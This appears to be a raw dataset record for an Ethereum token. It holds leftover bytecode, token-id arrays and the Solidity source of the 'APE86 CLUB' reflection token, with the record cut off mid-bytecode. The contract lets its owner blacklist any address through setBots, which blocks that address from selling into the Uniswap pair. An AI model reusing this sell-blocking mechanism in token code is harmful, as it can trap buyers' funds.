5505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2cf079d336edcda3a28242633a1c0c8810adf742dfd60025c951f1a014018a564736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2278, 2581, 21619, 28311, 2581, 2497, 2581, 2278, 7011, 4215, 16703, 2475, 7875, 10322, 2094, 2575, 18939, 2683, 2497, 2094, 2692, 28311, 2546, 2575, 10354, 3540, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,346
0x969d6814e45fa3f64aaeea56c9a9871995cf7339
// SPDX-License-Identifier: UNLICENSE /** APE86 CLUB APE86 Supply100,000,000 MaxBuy1,500,000 https://www.ape86club.com/ https://t.me/APE86Club https://twitter.com/ape86club **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APE86 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "APE86 CLUB"; string private constant _symbol = "APE86"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(66); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 4; _feeAddr2 = 4; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610332578063b515566a14610352578063c3c8cd8014610372578063d91a21a614610387578063dd62ed3e146103a7578063e9e1831a146103ed57600080fd5b80637d1db4a51461029c5780638a259e6c146102b25780638a8c523c146102c75780638da5cb5b146102dc57806395d89b411461030457600080fd5b8063313ce567116100f2578063313ce567146102165780635932ead1146102325780636fc3eaec1461025257806370a0823114610267578063715018a61461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101d4578063273123b7146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526920a8229c1b1021a62aa160b11b60208201525b6040516101769190611629565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116a3565b610402565b6040519015158152602001610176565b3480156101bb57600080fd5b5067016345785d8a00005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef3660046116cf565b610419565b34801561020057600080fd5b5061021461020f366004611710565b610482565b005b34801561022257600080fd5b5060405160098152602001610176565b34801561023e57600080fd5b5061021461024d36600461173b565b6104d6565b34801561025e57600080fd5b5061021461051e565b34801561027357600080fd5b506101c6610282366004611710565b61052b565b34801561029357600080fd5b5061021461054d565b3480156102a857600080fd5b506101c6600f5481565b3480156102be57600080fd5b506102146105c1565b3480156102d357600080fd5b5061021461078e565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561031057600080fd5b5060408051808201909152600581526420a8229c1b60d91b6020820152610169565b34801561033e57600080fd5b5061019f61034d3660046116a3565b6107cd565b34801561035e57600080fd5b5061021461036d36600461176e565b6107da565b34801561037e57600080fd5b5061021461092e565b34801561039357600080fd5b506102146103a2366004611833565b610944565b3480156103b357600080fd5b506101c66103c236600461184c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f957600080fd5b5061021461099e565b600061040f338484610b60565b5060015b92915050565b6000610426848484610c84565b610478843361047385604051806060016040528060288152602001611a49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9e565b610b60565b5060019392505050565b6000546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611885565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016104ac90611885565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761052881610fd8565b50565b6001600160a01b03811660009081526002602052604081205461041390611012565b6000546001600160a01b031633146105775760405162461bcd60e51b81526004016104ac90611885565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016104ac90611885565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610627308267016345785d8a0000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068991906118ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa91906118ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906118ba565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107b85760405162461bcd60e51b81526004016104ac90611885565b600e805460ff60a01b1916600160a01b179055565b600061040f338484610c84565b6000546001600160a01b031633146108045760405162461bcd60e51b81526004016104ac90611885565b60005b815181101561092a57600d5482516001600160a01b0390911690839083908110610833576108336118d7565b60200260200101516001600160a01b0316141580156108845750600e5482516001600160a01b0390911690839083908110610870576108706118d7565b60200260200101516001600160a01b031614155b80156108bb5750306001600160a01b03168282815181106108a7576108a76118d7565b60200260200101516001600160a01b031614155b15610918576001600660008484815181106108d8576108d86118d7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092281611903565b915050610807565b5050565b60006109393061052b565b90506105288161108f565b6000546001600160a01b0316331461096e5760405162461bcd60e51b81526004016104ac90611885565b6000811161097b57600080fd5b610998606461099267016345785d8a000084611209565b90610b17565b600f5550565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016104ac90611885565b600d546001600160a01b031663f305d71947306109e48161052b565b6000806109f96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a86919061191c565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610528919061194a565b6000610b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128b565b9392505050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b6004600a819055600b556000546001600160a01b03848116911614801590610de257506000546001600160a01b03838116911614155b15610f8e57600e546001600160a01b038481169116148015610e125750600d546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750600e54600160b81b900460ff165b15610e7657600f54811115610e6057600080fd5b600e54600160a01b900460ff16610e7657600080fd5b600d546001600160a01b03848116911614801590610ead57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ec65750600e546001600160a01b038381169116145b15610f21576001600160a01b03831660009081526006602052604090205460ff16158015610f0d57506001600160a01b03821660009081526006602052604090205460ff16155b610f1657600080fd5b6004600a819055600b555b6000610f2c3061052b565b600e54909150600160a81b900460ff16158015610f575750600e546001600160a01b03858116911614155b8015610f6c5750600e54600160b01b900460ff165b15610f8c57610f7a8161108f565b478015610f8a57610f8a47610fd8565b505b505b610f998383836112b9565b505050565b60008184841115610fc25760405162461bcd60e51b81526004016104ac9190611629565b506000610fcf8486611967565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092a573d6000803e3d6000fd5b60006008548211156110795760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ac565b60006110836112c4565b9050610b598382610b17565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d7576110d76118d7565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611130573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115491906118ba565b81600181518110611167576111676118d7565b6001600160a01b039283166020918202929092010152600d5461118d9130911684610b60565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c690859060009086903090429060040161197e565b600060405180830381600087803b1580156111e057600080fd5b505af11580156111f4573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b60008260000361121b57506000610413565b600061122783856119ef565b9050826112348583611a0e565b14610b595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b600081836112ac5760405162461bcd60e51b81526004016104ac9190611629565b506000610fcf8486611a0e565b610f998383836112e7565b60008060006112d16113de565b90925090506112e08282610b17565b9250505090565b6000806000806000806112f98761141e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132b908761147b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135a90866114bd565b6001600160a01b03891660009081526002602052604090205561137c8161151c565b6113868483611566565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113cb91815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006113f98282610b17565b8210156114155750506008549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061143b8a600a54600b5461158a565b925092509250600061144b6112c4565b9050600080600061145e8e8787876115d9565b919e509c509a509598509396509194505050505091939550919395565b6000610b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6